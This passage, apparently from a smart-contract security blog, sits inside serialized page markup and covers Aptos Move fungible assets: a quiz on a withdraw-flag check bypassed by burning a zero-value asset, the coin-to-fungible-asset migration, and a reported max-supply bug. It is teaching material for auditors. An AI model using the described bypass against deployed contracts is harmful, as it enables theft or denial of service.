:493},[66049],{"type":32,"value":66050}," assert_withdraw_flag",{"type":26,"tag":475,"props":66052,"children":66053},{"style":499},[66054],{"type":32,"value":626},{"type":26,"tag":475,"props":66056,"children":66057},{"style":482},[66058],{"type":32,"value":3703},{"type":26,"tag":475,"props":66060,"children":66061},{"style":499},[66062],{"type":32,"value":3533},{"type":26,"tag":475,"props":66064,"children":66065},{"class":477,"line":539},[66066,66070,66074],{"type":26,"tag":475,"props":66067,"children":66068},{"style":499},[66069],{"type":32,"value":62410},{"type":26,"tag":475,"props":66071,"children":66072},{"style":714},[66073],{"type":32,"value":9300},{"type":26,"tag":475,"props":66075,"children":66076},{"style":499},[66077],{"type":32,"value":11481},{"type":26,"tag":475,"props":66079,"children":66080},{"class":477,"line":548},[66081,66086,66090,66094],{"type":26,"tag":475,"props":66082,"children":66083},{"style":493},[66084],{"type":32,"value":66085}," set_withdraw_flag",{"type":26,"tag":475,"props":66087,"children":66088},{"style":499},[66089],{"type":32,"value":626},{"type":26,"tag":475,"props":66091,"children":66092},{"style":482},[66093],{"type":32,"value":7886},{"type":26,"tag":475,"props":66095,"children":66096},{"style":499},[66097],{"type":32,"value":3533},{"type":26,"tag":475,"props":66099,"children":66100},{"class":477,"line":558},[66101,66105,66109,66113,66117,66121,66125,66129,66133,66137],{"type":26,"tag":475,"props":66102,"children":66103},{"style":499},[66104],{"type":32,"value":65653},{"type":26,"tag":475,"props":66106,"children":66107},{"style":714},[66108],{"type":32,"value":3187},{"type":26,"tag":475,"props":66110,"children":66111},{"style":493},[66112],{"type":32,"value":65841},{"type":26,"tag":475,"props":66114,"children":66115},{"style":499},[66116],{"type":32,"value":626},{"type":26,"tag":475,"props":66118,"children":66119},{"style":2375},[66120],{"type":32,"value":65671},{"type":26,"tag":475,"props":66122,"children":66123},{"style":499},[66124],{"type":32,"value":637},{"type":26,"tag":475,"props":66126,"children":66127},{"style":2375},[66128],{"type":32,"value":5654},{"type":26,"tag":475,"props":66130,"children":66131},{"style":499},[66132],{"type":32,"value":637},{"type":26,"tag":475,"props":66134,"children":66135},{"style":2375},[66136],{"type":32,"value":20014},{"type":26,"tag":475,"props":66138,"children":66139},{"style":499},[66140],{"type":32,"value":3533},{"type":26,"tag":475,"props":66142,"children":66143},{"class":477,"line":582},[66144,66148,66152],{"type":26,"tag":475,"props":66145,"children":66146},{"style":499},[66147],{"type":32,"value":62410},{"type":26,"tag":475,"props":66149,"children":66150},{"style":714},[66151],{"type":32,"value":9300},{"type":26,"tag":475,"props":66153,"children":66154},{"style":499},[66155],{"type":32,"value":11481},{"type":26,"tag":475,"props":66157,"children":66158},{"class":477,"line":596},[66159],{"type":26,"tag":475,"props":66160,"children":66161},{"style":499},[66162],{"type":32,"value":851},{"type":26,"tag":475,"props":66164,"children":66165},{"class":477,"line":610},[66166],{"type":26,"tag":475,"props":66167,"children":66168},{"emptyLinePlaceholder":18},[66169],{"type":32,"value":545},{"type":26,"tag":475,"props":66171,"children":66172},{"class":477,"line":650},[66173,66177,66181,66185,66189,66193,66197,66201,66205,66209,66213,66217,66221,66225,66229,66233,66237,66241,66245,66249,66253,66257,66261,66265,66269,66273,66277,66281,66285],{"type":26,"tag":475,"props":66174,"children":66175},{"style":2375},[66176],{"type":32,"value":61367},{"type":26,"tag":475,"props":66178,"children":66179},{"style":2375},[66180],{"type":32,"value":490},{"type":26,"tag":475,"props":66182,"children":66183},{"style":2375},[66184],{"type":32,"value":19979},{"type":26,"tag":475,"props":66186,"children":66187},{"style":499},[66188],{"type":32,"value":5519},{"type":26,"tag":475,"props":66190,"children":66191},{"style":505},[66192],{"type":32,"value":5701},{"type":26,"tag":475,"props":66194,"children":66195},{"style":714},[66196],{"type":32,"value":179},{"type":26,"tag":475,"props":66198,"children":66199},{"style":2375},[66200],{"type":32,"value":5645},{"type":26,"tag":475,"props":66202,"children":66203},{"style":499},[66204],{"type":32,"value":7323},{"type":26,"tag":475,"props":66206,"children":66207},{"style":2375},[66208],{"type":32,"value":5654},{"type":26,"tag":475,"props":66210,"children":66211},{"style":714},[66212],{"type":32,"value":179},{"type":26,"tag":475,"props":66214,"children":66215},{"style":505},[66216],{"type":32,"value":61253},{"type":26,"tag":475,"props":66218,"children":66219},{"style":499},[66220],{"type":32,"value":5519},{"type":26,"tag":475,"props":66222,"children":66223},{"style":505},[66224],{"type":32,"value":5701},{"type":26,"tag":475,"props":66226,"children":66227},{"style":499},[66228],{"type":32,"value":6344},{"type":26,"tag":475,"props":66230,"children":66231},{"style":2375},[66232],{"type":32,"value":20014},{"type":26,"tag":475,"props":66234,"children":66235},{"style":714},[66236],{"type":32,"value":179},{"type":26,"tag":475,"props":66238,"children":66239},{"style":505},[66240],{"type":32,"value":5573},{"type":26,"tag":475,"props":66242,"children":66243},{"style":499},[66244],{"type":32,"value":637},{"type":26,"tag":475,"props":66246,"children":66247},{"style":2375},[66248],{"type":32,"value":65671},{"type":26,"tag":475,"props":66250,"children":66251},{"style":714},[66252],{"type":32,"value":179},{"type":26,"tag":475,"props":66254,"children":66255},{"style":714},[66256],{"type":32,"value":6854},{"type":26,"tag":475,"props":66258,"children":66259},{"style":505},[66260],{"type":32,"value":65117},{"type":26,"tag":475,"props":66262,"children":66263},{"style":499},[66264],{"type":32,"value":2835},{"type":26,"tag":475,"props":66266,"children":66267},{"style":714},[66268],{"type":32,"value":179},{"type":26,"tag":475,"props":66270,"children":66271},{"style":505},[66272],{"type":32,"value":61232},{"type":26,"tag":475,"props":66274,"children":66275},{"style":2375},[66276],{"type":32,"value":7279},{"type":26,"tag":475,"props":66278,"children":66279},{"style":499},[66280],{"type":32,"value":22741},{"type":26,"tag":475,"props":66282,"children":66283},{"style":714},[66284],{"type":32,"value":9300},{"type":26,"tag":475,"props":66286,"children":66287},{"style":499},[66288],{"type":32,"value":61458},{"type":26,"tag":475,"props":66290,"children":66291},{"class":477,"line":679},[66292,66296,66300,66304],{"type":26,"tag":475,"props":66293,"children":66294},{"style":493},[66295],{"type":32,"value":66050},{"type":26,"tag":475,"props":66297,"children":66298},{"style":499},[66299],{"type":32,"value":626},{"type":26,"tag":475,"props":66301,"children":66302},{"style":482},[66303],{"type":32,"value":7886},{"type":26,"tag":475,"props":66305,"children":66306},{"style":499},[66307],{"type":32,"value":3533},{"type":26,"tag":475,"props":66309,"children":66310},{"class":477,"line":735},[66311,66315,66319],{"type":26,"tag":475,"props":66312,"children":66313},{"style":499},[66314],{"type":32,"value":62410},{"type":26,"tag":475,"props":66316,"children":66317},{"style":714},[66318],{"type":32,"value":9300},{"type":26,"tag":475,"props":66320,"children":66321},{"style":499},[66322],{"type":32,"value":11481},{"type":26,"tag":475,"props":66324,"children":66325},{"class":477,"line":744},[66326,66330,66334,66338],{"type":26,"tag":475,"props":66327,"children":66328},{"style":493},[66329],{"type":32,"value":66085},{"type":26,"tag":475,"props":66331,"children":66332},{"style":499},[66333],{"type":32,"value":626},{"type":26,"tag":475,"props":66335,"children":66336},{"style":482},[66337],{"type":32,"value":3703},{"type":26,"tag":475,"props":66339,"children":66340},{"style":499},[66341],{"type":32,"value":3533},{"type":26,"tag":475,"props":66343,"children":66344},{"class":477,"line":753},[66345,66349,66353,66357,66361,66365,66369,66373,66377,66381],{"type":26,"tag":475,"props":66346,"children":66347},{"style":499},[66348],{"type":32,"value":65653},{"type":26,"tag":475,"props":66350,"children":66351},{"style":714},[66352],{"type":32,"value":3187},{"type":26,"tag":475,"props":66354,"children":66355},{"style":493},[66356],{"type":32,"value":65662},{"type":26,"tag":475,"props":66358,"children":66359},{"style":499},[66360],{"type":32,"value":626},{"type":26,"tag":475,"props":66362,"children":66363},{"style":2375},[66364],{"type":32,"value":65671},{"type":26,"tag":475,"props":66366,"children":66367},{"style":499},[66368],{"type":32,"value":637},{"type":26,"tag":475,"props":66370,"children":66371},{"style":2375},[66372],{"type":32,"value":5654},{"type":26,"tag":475,"props":66374,"children":66375},{"style":499},[66376],{"type":32,"value":637},{"type":26,"tag":475,"props":66378,"children":66379},{"style":2375},[66380],{"type":32,"value":20014},{"type":26,"tag":475,"props":66382,"children":66383},{"style":499},[66384],{"type":32,"value":647},{"type":26,"tag":475,"props":66386,"children":66387},{"class":477,"line":761},[66388],{"type":26,"tag":475,"props":66389,"children":66390},{"style":499},[66391],{"type":32,"value":3607},{"type":26,"tag":35,"props":66393,"children":66394},{},[66395],{"type":32,"value":66396},"At first glance, this code appears valid, but not to an astute reader.",{"type":26,"tag":65878,"props":66398,"children":66399},{},[66400,66405],{"type":26,"tag":35,"props":66401,"children":66402},{},[66403],{"type":32,"value":66404},"Can you spot the bug? Hint: We mentioned the root cause previously.",{"type":26,"tag":65909,"props":66406,"children":66407},{"v-slot:answer-0":7},[66408,66428],{"type":26,"tag":35,"props":66409,"children":66410},{},[66411,66413,66418,66420,66426],{"type":32,"value":66412},"The developer overlooked an important detail, which we already mentioned earlier: a fungible asset with a value of zero can also be burned! An attacker could exploit this by withdrawing 0 ",{"type":26,"tag":53,"props":66414,"children":66416},{"className":66415},[],[66417],{"type":32,"value":61203},{"type":32,"value":66419}," (since withdraw doesn’t verify if the value is greater than 0) and then burning it using ",{"type":26,"tag":53,"props":66421,"children":66423},{"className":66422},[],[66424],{"type":32,"value":66425},"fungible_asset::destroy_zero",{"type":32,"value":66427},". This would complete the transaction while keeping the \"blocked\" flag set, effectively preventing further withdrawals.",{"type":26,"tag":35,"props":66429,"children":66430},{},[66431],{"type":32,"value":66432},"It's important to understand all the features in the standard.",{"type":26,"tag":27,"props":66434,"children":66436},{"id":66435},"migrating-from-coins-to-fungible-assets",[66437],{"type":32,"value":66438},"Migrating from coins to fungible assets",{"type":26,"tag":35,"props":66440,"children":66441},{},[66442,66444,66449],{"type":32,"value":66443},"If a fungible asset is considered an upgrade to ",{"type":26,"tag":53,"props":66445,"children":66447},{"className":66446},[],[66448],{"type":32,"value":60658},{"type":32,"value":66450},", a transition mechanism becomes necessary. This is addressed through a conversion map, establishing a relationship between specific coin and fungible asset. This duality is not without its challenges.",{"type":26,"tag":66452,"props":66453,"children":66454},"note",{},[66455],{"type":26,"tag":35,"props":66456,"children":66457},{},[66458,66460,66465,66467,66472],{"type":32,"value":66459},"While the ",{"type":26,"tag":53,"props":66461,"children":66463},{"className":66462},[],[66464],{"type":32,"value":60658},{"type":32,"value":66466}," API recognizes and integrates with fungible assets, the fungible asset APIs do not have awareness of the linked ",{"type":26,"tag":53,"props":66468,"children":66470},{"className":66469},[],[66471],{"type":32,"value":60658},{"type":32,"value":353},{"type":26,"tag":35,"props":66474,"children":66475},{},[66476,66477,66483,66485,66490,66492,66497],{"type":32,"value":16319},{"type":26,"tag":53,"props":66478,"children":66480},{"className":66479},[],[66481],{"type":32,"value":66482},"coin_to_fungible_asset",{"type":32,"value":66484}," converting function automatically generates a corresponding fungible asset for a ",{"type":26,"tag":53,"props":66486,"children":66488},{"className":66487},[],[66489],{"type":32,"value":60658},{"type":32,"value":66491}," if one does not already exist. Manual creation of a fungible asset and its linkage to a ",{"type":26,"tag":53,"props":66493,"children":66495},{"className":66494},[],[66496],{"type":32,"value":60658},{"type":32,"value":66498}," is not allowed.",{"type":26,"tag":465,"props":66500,"children":66502},{"className":2685,"code":66501,"language":2684,"meta":7,"style":7},"public fun coin_to_fungible_asset\u003CCoinType>(\n coin: Coin\u003CCoinType>\n): FungibleAsset acquires CoinConversionMap, CoinInfo {\n let metadata = ensure_paired_metadata\u003CCoinType>();\n let amount = burn_internal(coin);\n fungible_asset::mint_internal(metadata, amount)\n}\n",[66503],{"type":26,"tag":53,"props":66504,"children":66505},{"__ignoreMap":7},[66506,66534,66561,66597,66630,66663,66699],{"type":26,"tag":475,"props":66507,"children":66508},{"class":477,"line":478},[66509,66513,66517,66522,66526,66530],{"type":26,"tag":475,"props":66510,"children":66511},{"style":2375},[66512],{"type":32,"value":61367},{"type":26,"tag":475,"props":66514,"children":66515},{"style":2375},[66516],{"type":32,"value":490},{"type":26,"tag":475,"props":66518,"children":66519},{"style":2375},[66520],{"type":32,"value":66521}," coin_to_fungible_asset",{"type":26,"tag":475,"props":66523,"children":66524},{"style":499},[66525],{"type":32,"value":5519},{"type":26,"tag":475,"props":66527,"children":66528},{"style":505},[66529],{"type":32,"value":6297},{"type":26,"tag":475,"props":66531,"children":66532},{"style":499},[66533],{"type":32,"value":6302},{"type":26,"tag":475,"props":66535,"children":66536},{"class":477,"line":516},[66537,66541,66545,66549,66553,66557],{"type":26,"tag":475,"props":66538,"children":66539},{"style":2375},[66540],{"type":32,"value":60877},{"type":26,"tag":475,"props":66542,"children":66543},{"style":714},[66544],{"type":32,"value":179},{"type":26,"tag":475,"props":66546,"children":66547},{"style":505},[66548],{"type":32,"value":5514},{"type":26,"tag":475,"props":66550,"children":66551},{"style":499},[66552],{"type":32,"value":5519},{"type":26,"tag":475,"props":66554,"children":66555},{"style":505},[66556],{"type":32,"value":6297},{"type":26,"tag":475,"props":66558,"children":66559},{"style":499},[66560],{"type":32,"value":5706},{"type":26,"tag":475,"props":66562,"children":66563},{"class":477,"line":539},[66564,66568,66572,66576,66580,66585,66589,66593],{"type":26,"tag":475,"props":66565,"children":66566},{"style":499},[66567],{"type":32,"value":2835},{"type":26,"tag":475,"props":66569,"children":66570},{"style":714},[66571],{"type":32,"value":179},{"type":26,"tag":475,"props":66573,"children":66574},{"style":505},[66575],{"type":32,"value":61232},{"type":26,"tag":475,"props":66577,"children":66578},{"style":2375},[66579],{"type":32,"value":7279},{"type":26,"tag":475,"props":66581,"children":66582},{"style":505},[66583],{"type":32,"value":66584}," CoinConversionMap",{"type":26,"tag":475,"props":66586,"children":66587},{"style":499},[66588],{"type":32,"value":637},{"type":26,"tag":475,"props":66590,"children":66591},{"style":505},[66592],{"type":32,"value":6427},{"type":26,"tag":475,"props":66594,"children":66595},{"style":499},[66596],{"type":32,"value":579},{"type":26,"tag":475,"props":66598,"children":66599},{"class":477,"line":548},[66600,66604,66609,66613,66618,66622,66626],{"type":26,"tag":475,"props":66601,"children":66602},{"style":482},[66603],{"type":32,"value":2705},{"type":26,"tag":475,"props":66605,"children":66606},{"style":2375},[66607],{"type":32,"value":66608}," metadata",{"type":26,"tag":475,"props":66610,"children":66611},{"style":714},[66612],{"type":32,"value":2383},{"type":26,"tag":475,"props":66614,"children":66615},{"style":2375},[66616],{"type":32,"value":66617}," ensure_paired_metadata",{"type":26,"tag":475,"props":66619,"children":66620},{"style":499},[66621],{"type":32,"value":5519},{"type":26,"tag":475,"props":66623,"children":66624},{"style":505},[66625],{"type":32,"value":6297},{"type":26,"tag":475,"props":66627,"children":66628},{"style":499},[66629],{"type":32,"value":8163},{"type":26,"tag":475,"props":66631,"children":66632},{"class":477,"line":558},[66633,66637,66642,66646,66651,66655,66659],{"type":26,"tag":475,"props":66634,"children":66635},{"style":482},[66636],{"type":32,"value":2705},{"type":26,"tag":475,"props":66638,"children":66639},{"style":2375},[66640],{"type":32,"value":66641}," amount",{"type":26,"tag":475,"props":66643,"children":66644},{"style":714},[66645],{"type":32,"value":2383},{"type":26,"tag":475,"props":66647,"children":66648},{"style":493},[66649],{"type":32,"value":66650}," burn_internal",{"type":26,"tag":475,"props":66652,"children":66653},{"style":499},[66654],{"type":32,"value":626},{"type":26,"tag":475,"props":66656,"children":66657},{"style":2375},[66658],{"type":32,"value":60625},{"type":26,"tag":475,"props":66660,"children":66661},{"style":499},[66662],{"type":32,"value":3533},{"type":26,"tag":475,"props":66664,"children":66665},{"class":477,"line":582},[66666,66670,66674,66679,66683,66687,66691,66695],{"type":26,"tag":475,"props":66667,"children":66668},{"style":499},[66669],{"type":32,"value":65653},{"type":26,"tag":475,"props":66671,"children":66672},{"style":714},[66673],{"type":32,"value":3187},{"type":26,"tag":475,"props":66675,"children":66676},{"style":493},[66677],{"type":32,"value":66678},"mint_internal",{"type":26,"tag":475,"props":66680,"children":66681},{"style":499},[66682],{"type":32,"value":626},{"type":26,"tag":475,"props":66684,"children":66685},{"style":2375},[66686],{"type":32,"value":62004},{"type":26,"tag":475,"props":66688,"children":66689},{"style":499},[66690],{"type":32,"value":637},{"type":26,"tag":475,"props":66692,"children":66693},{"style":2375},[66694],{"type":32,"value":20014},{"type":26,"tag":475,"props":66696,"children":66697},{"style":499},[66698],{"type":32,"value":647},{"type":26,"tag":475,"props":66700,"children":66701},{"class":477,"line":596},[66702],{"type":26,"tag":475,"props":66703,"children":66704},{"style":499},[66705],{"type":32,"value":3607},{"type":26,"tag":35,"props":66707,"children":66708},{},[66709,66711,66718],{"type":32,"value":66710},"When creating a fungible asset, several pieces of information are required, such as the asset’s name, symbol, or maximum supply. During our audit of the fungible asset standard, we ",{"type":26,"tag":116,"props":66712,"children":66715},{"href":66713,"rel":66714},"https://github.com/aptos-labs/aptos-core/commit/e5f4b62b237dad4d15069d3bb0b551b2df04bf08",[120],[66716],{"type":32,"value":66717},"noticed an overlooked detail",{"type":32,"value":66719}," in the linking process.",{"type":26,"tag":465,"props":66721,"children":66723},{"className":2685,"code":66722,"language":2684,"meta":7,"style":7},"[...]\nprimary_fungible_store::create_primary_store_enabled_fungible_asset(\n &metadata_object_cref,\n option::map(coin_supply\u003CCoinType>(), |_| MAX_U128),\n name\u003CCoinType>(),\n symbol\u003CCoinType>(),\n decimals\u003CCoinType>(),\n string::utf8(b\"\"),\n string::utf8(b\"\"),\n);\n[...]\n",[66724],{"type":26,"tag":53,"props":66725,"children":66726},{"__ignoreMap":7},[66727,66742,66762,66779,66835,66856,66876,66896,66926,66953,66960],{"type":26,"tag":475,"props":66728,"children":66729},{"class":477,"line":478},[66730,66734,66738],{"type":26,"tag":475,"props":66731,"children":66732},{"style":499},[66733],{"type":32,"value":3440},{"type":26,"tag":475,"props":66735,"children":66736},{"style":714},[66737],{"type":32,"value":9300},{"type":26,"tag":475,"props":66739,"children":66740},{"style":499},[66741],{"type":32,"value":11481},{"type":26,"tag":475,"props":66743,"children":66744},{"class":477,"line":516},[66745,66749,66753,66758],{"type":26,"tag":475,"props":66746,"children":66747},{"style":499},[66748],{"type":32,"value":62301},{"type":26,"tag":475,"props":66750,"children":66751},{"style":714},[66752],{"type":32,"value":3187},{"type":26,"tag":475,"props":66754,"children":66755},{"style":493},[66756],{"type":32,"value":66757},"create_primary_store_enabled_fungible_asset",{"type":26,"tag":475,"props":66759,"children":66760},{"style":499},[66761],{"type":32,"value":3169},{"type":26,"tag":475,"props":66763,"children":66764},{"class":477,"line":539},[66765,66770,66775],{"type":26,"tag":475,"props":66766,"children":66767},{"style":714},[66768],{"type":32,"value":66769}," &",{"type":26,"tag":475,"props":66771,"children":66772},{"style":2375},[66773],{"type":32,"value":66774},"metadata_object_cref",{"type":26,"tag":475,"props":66776,"children":66777},{"style":499},[66778],{"type":32,"value":2425},{"type":26,"tag":475,"props":66780,"children":66781},{"class":477,"line":548},[66782,66787,66791,66796,66800,66805,66809,66813,66818,66822,66826,66830],{"type":26,"tag":475,"props":66783,"children":66784},{"style":499},[66785],{"type":32,"value":66786}," option",{"type":26,"tag":475,"props":66788,"children":66789},{"style":714},[66790],{"type":32,"value":3187},{"type":26,"tag":475,"props":66792,"children":66793},{"style":493},[66794],{"type":32,"value":66795},"map",{"type":26,"tag":475,"props":66797,"children":66798},{"style":499},[66799],{"type":32,"value":626},{"type":26,"tag":475,"props":66801,"children":66802},{"style":2375},[66803],{"type":32,"value":66804},"coin_supply",{"type":26,"tag":475,"props":66806,"children":66807},{"style":499},[66808],{"type":32,"value":5519},{"type":26,"tag":475,"props":66810,"children":66811},{"style":505},[66812],{"type":32,"value":6297},{"type":26,"tag":475,"props":66814,"children":66815},{"style":499},[66816],{"type":32,"value":66817},">(), ",{"type":26,"tag":475,"props":66819,"children":66820},{"style":714},[66821],{"type":32,"value":10124},{"type":26,"tag":475,"props":66823,"children":66824},{"style":2375},[66825],{"type":32,"value":2789},{"type":26,"tag":475,"props":66827,"children":66828},{"style":714},[66829],{"type":32,"value":10124},{"type":26,"tag":475,"props":66831,"children":66832},{"style":499},[66833],{"type":32,"value":66834}," MAX_U128),\n",{"type":26,"tag":475,"props":66836,"children":66837},{"class":477,"line":558},[66838,66843,66847,66851],{"type":26,"tag":475,"props":66839,"children":66840},{"style":2375},[66841],{"type":32,"value":66842}," name",{"type":26,"tag":475,"props":66844,"children":66845},{"style":499},[66846],{"type":32,"value":5519},{"type":26,"tag":475,"props":66848,"children":66849},{"style":505},[66850],{"type":32,"value":6297},{"type":26,"tag":475,"props":66852,"children":66853},{"style":499},[66854],{"type":32,"value":66855},">(),\n",{"type":26,"tag":475,"props":66857,"children":66858},{"class":477,"line":582},[66859,66864,66868,66872],{"type":26,"tag":475,"props":66860,"children":66861},{"style":2375},[66862],{"type":32,"value":66863}," symbol",{"type":26,"tag":475,"props":66865,"children":66866},{"style":499},[66867],{"type":32,"value":5519},{"type":26,"tag":475,"props":66869,"children":66870},{"style":505},[66871],{"type":32,"value":6297},{"type":26,"tag":475,"props":66873,"children":66874},{"style":499},[66875],{"type":32,"value":66855},{"type":26,"tag":475,"props":66877,"children":66878},{"class":477,"line":596},[66879,66884,66888,66892],{"type":26,"tag":475,"props":66880,"children":66881},{"style":2375},[66882],{"type":32,"value":66883}," decimals",{"type":26,"tag":475,"props":66885,"children":66886},{"style":499},[66887],{"type":32,"value":5519},{"type":26,"tag":475,"props":66889,"children":66890},{"style":505},[66891],{"type":32,"value":6297},{"type":26,"tag":475,"props":66893,"children":66894},{"style":499},[66895],{"type":32,"value":66855},{"type":26,"tag":475,"props":66897,"children":66898},{"class":477,"line":610},[66899,66904,66908,66913,66917,66922],{"type":26,"tag":475,"props":66900,"children":66901},{"style":499},[66902],{"type":32,"value":66903}," string",{"type":26,"tag":475,"props":66905,"children":66906},{"style":714},[66907],{"type":32,"value":3187},{"type":26,"tag":475,"props":66909,"children":66910},{"style":493},[66911],{"type":32,"value":66912},"utf8",{"type":26,"tag":475,"props":66914,"children":66915},{"style":499},[66916],{"type":32,"value":626},{"type":26,"tag":475,"props":66918,"children":66919},{"style":629},[66920],{"type":32,"value":66921},"b\"\"",{"type":26,"tag":475,"props":66923,"children":66924},{"style":499},[66925],{"type":32,"value":6450},{"type":26,"tag":475,"props":66927,"children":66928},{"class":477,"line":650},[66929,66933,66937,66941,66945,66949],{"type":26,"tag":475,"props":66930,"children":66931},{"style":499},[66932],{"type":32,"value":66903},{"type":26,"tag":475,"props":66934,"children":66935},{"style":714},[66936],{"type":32,"value":3187},{"type":26,"tag":475,"props":66938,"children":66939},{"style":493},[66940],{"type":32,"value":66912},{"type":26,"tag":475,"props":66942,"children":66943},{"style":499},[66944],{"type":32,"value":626},{"type":26,"tag":475,"props":66946,"children":66947},{"style":629},[66948],{"type":32,"value":66921},{"type":26,"tag":475,"props":66950,"children":66951},{"style":499},[66952],{"type":32,"value":6450},{"type":26,"tag":475,"props":66954,"children":66955},{"class":477,"line":679},[66956],{"type":26,"tag":475,"props":66957,"children":66958},{"style":499},[66959],{"type":32,"value":3533},{"type":26,"tag":475,"props":66961,"children":66962},{"class":477,"line":735},[66963,66967,66971],{"type":26,"tag":475,"props":66964,"children":66965},{"style":499},[66966],{"type":32,"value":3440},{"type":26,"tag":475,"props":66968,"children":66969},{"style":714},[66970],{"type":32,"value":9300},{"type":26,"tag":475,"props":66972,"children":66973},{"style":499},[66974],{"type":32,"value":11481},{"type":26,"tag":35,"props":66976,"children":66977},{},[66978,66980,66985],{"type":32,"value":66979},"When the linked fungible asset was created, the current ",{"type":26,"tag":53,"props":66981,"children":66983},{"className":66982},[],[66984],{"type":32,"value":60658},{"type":32,"value":66986}," supply was incorrectly passed as the maximum fungible asset supply, preventing the minting of additional fungible assets beyond the existing coin circulation.",{"type":26,"tag":35,"props":66988,"children":66989},{},[66990,66992,66997,66999,67005,67007,67012],{"type":32,"value":66991},"Users can manually migrate their ",{"type":26,"tag":53,"props":66993,"children":66995},{"className":66994},[],[66996],{"type":32,"value":60820},{"type":32,"value":66998}," to a primary fungible store. This creates a store for the paired fungible asset (if one doesn’t exist) and removes the ",{"type":26,"tag":53,"props":67000,"children":67002},{"className":67001},[],[67003],{"type":32,"value":67004},"\u003CCoinStore\u003CCoinType>>",{"type":32,"value":67006}," from the caller. All coins in the ",{"type":26,"tag":53,"props":67008,"children":67010},{"className":67009},[],[67011],{"type":32,"value":60820},{"type":32,"value":67013}," are exchanged and transferred to the new store during the migration.",{"type":26,"tag":465,"props":67015,"children":67017},{"className":2685,"code":67016,"language":2684,"meta":7,"style":7},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\npublic entry fun migrate_to_fungible_store\u003CCoinType>(\n account: &signer\n) acquires CoinStore, CoinConversionMap, CoinInfo {\n maybe_convert_to_fungible_store\u003CCoinType>(signer::address_of(account));\n}\n",[67018],{"type":26,"tag":53,"props":67019,"children":67020},{"__ignoreMap":7},[67021,67029,67061,67081,67117,67158],{"type":26,"tag":475,"props":67022,"children":67023},{"class":477,"line":478},[67024],{"type":26,"tag":475,"props":67025,"children":67026},{"style":552},[67027],{"type":32,"value":67028},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\n",{"type":26,"tag":475,"props":67030,"children":67031},{"class":477,"line":516},[67032,67036,67040,67044,67049,67053,67057],{"type":26,"tag":475,"props":67033,"children":67034},{"style":2375},[67035],{"type":32,"value":61367},{"type":26,"tag":475,"props":67037,"children":67038},{"style":2375},[67039],{"type":32,"value":62334},{"type":26,"tag":475,"props":67041,"children":67042},{"style":2375},[67043],{"type":32,"value":490},{"type":26,"tag":475,"props":67045,"children":67046},{"style":2375},[67047],{"type":32,"value":67048}," migrate_to_fungible_store",{"type":26,"tag":475,"props":67050,"children":67051},{"style":499},[67052],{"type":32,"value":5519},{"type":26,"tag":475,"props":67054,"children":67055},{"style":505},[67056],{"type":32,"value":6297},{"type":26,"tag":475,"props":67058,"children":67059},{"style":499},[67060],{"type":32,"value":6302},{"type":26,"tag":475,"props":67062,"children":67063},{"class":477,"line":539},[67064,67068,67072,67076],{"type":26,"tag":475,"props":67065,"children":67066},{"style":2375},[67067],{"type":32,"value":24872},{"type":26,"tag":475,"props":67069,"children":67070},{"style":714},[67071],{"type":32,"value":179},{"type":26,"tag":475,"props":67073,"children":67074},{"style":714},[67075],{"type":32,"value":6854},{"type":26,"tag":475,"props":67077,"children":67078},{"style":2375},[67079],{"type":32,"value":67080},"signer\n",{"type":26,"tag":475,"props":67082,"children":67083},{"class":477,"line":548},[67084,67088,67092,67096,67100,67105,67109,67113],{"type":26,"tag":475,"props":67085,"children":67086},{"style":499},[67087],{"type":32,"value":2794},{"type":26,"tag":475,"props":67089,"children":67090},{"style":2375},[67091],{"type":32,"value":6057},{"type":26,"tag":475,"props":67093,"children":67094},{"style":505},[67095],{"type":32,"value":60841},{"type":26,"tag":475,"props":67097,"children":67098},{"style":499},[67099],{"type":32,"value":637},{"type":26,"tag":475,"props":67101,"children":67102},{"style":505},[67103],{"type":32,"value":67104},"CoinConversionMap",{"type":26,"tag":475,"props":67106,"children":67107},{"style":499},[67108],{"type":32,"value":637},{"type":26,"tag":475,"props":67110,"children":67111},{"style":505},[67112],{"type":32,"value":6427},{"type":26,"tag":475,"props":67114,"children":67115},{"style":499},[67116],{"type":32,"value":579},{"type":26,"tag":475,"props":67118,"children":67119},{"class":477,"line":558},[67120,67125,67129,67133,67138,67142,67146,67150,67154],{"type":26,"tag":475,"props":67121,"children":67122},{"style":2375},[67123],{"type":32,"value":67124}," maybe_convert_to_fungible_store",{"type":26,"tag":475,"props":67126,"children":67127},{"style":499},[67128],{"type":32,"value":5519},{"type":26,"tag":475,"props":67130,"children":67131},{"style":505},[67132],{"type":32,"value":6297},{"type":26,"tag":475,"props":67134,"children":67135},{"style":499},[67136],{"type":32,"value":67137},">(signer",{"type":26,"tag":475,"props":67139,"children":67140},{"style":714},[67141],{"type":32,"value":3187},{"type":26,"tag":475,"props":67143,"children":67144},{"style":493},[67145],{"type":32,"value":6922},{"type":26,"tag":475,"props":67147,"children":67148},{"style":499},[67149],{"type":32,"value":626},{"type":26,"tag":475,"props":67151,"children":67152},{"style":2375},[67153],{"type":32,"value":12661},{"type":26,"tag":475,"props":67155,"children":67156},{"style":499},[67157],{"type":32,"value":6936},{"type":26,"tag":475,"props":67159,"children":67160},{"class":477,"line":582},[67161],{"type":26,"tag":475,"props":67162,"children":67163},{"style":499},[67164],{"type":32,"value":3607},{"type":26,"tag":35,"props":67166,"children":67167},{},[67168,67170,67175,67177,67182],{"type":32,"value":67169},"A curious reader might wonder about the fate of the ",{"type":26,"tag":53,"props":67171,"children":67173},{"className":67172},[],[67174],{"type":32,"value":60820},{"type":32,"value":67176}," \"frozen\" status during migration. Unsurprisingly tough, the \"frozen\" status of the primary fungible store is matched to that of the ",{"type":26,"tag":53,"props":67178,"children":67180},{"className":67179},[],[67181],{"type":32,"value":60820},{"type":32,"value":67183}," to ensure consistency.",{"type":26,"tag":65878,"props":67185,"children":67186},{},[67187,67206],{"type":26,"tag":35,"props":67188,"children":67189},{},[67190,67192,67197,67199,67204],{"type":32,"value":67191},"Could an attacker convert their ",{"type":26,"tag":53,"props":67193,"children":67195},{"className":67194},[],[67196],{"type":32,"value":60820},{"type":32,"value":67198}," to a primary fungible store and then register another ",{"type":26,"tag":53,"props":67200,"children":67202},{"className":67201},[],[67203],{"type":32,"value":60820},{"type":32,"value":67205}," only to convert it again to manipulate the \"frozen\" status of the linked primary fungible store?",{"type":26,"tag":65909,"props":67207,"children":67208},{"v-slot:answer-0":7},[67209],{"type":26,"tag":35,"props":67210,"children":67211},{},[67212],{"type":32,"value":67213},"The coin::register function first checks is_account_registered, which exits early if true. is_account_registered determines if the account has a primary fungible store for the linked fungible asset when the CoinStore 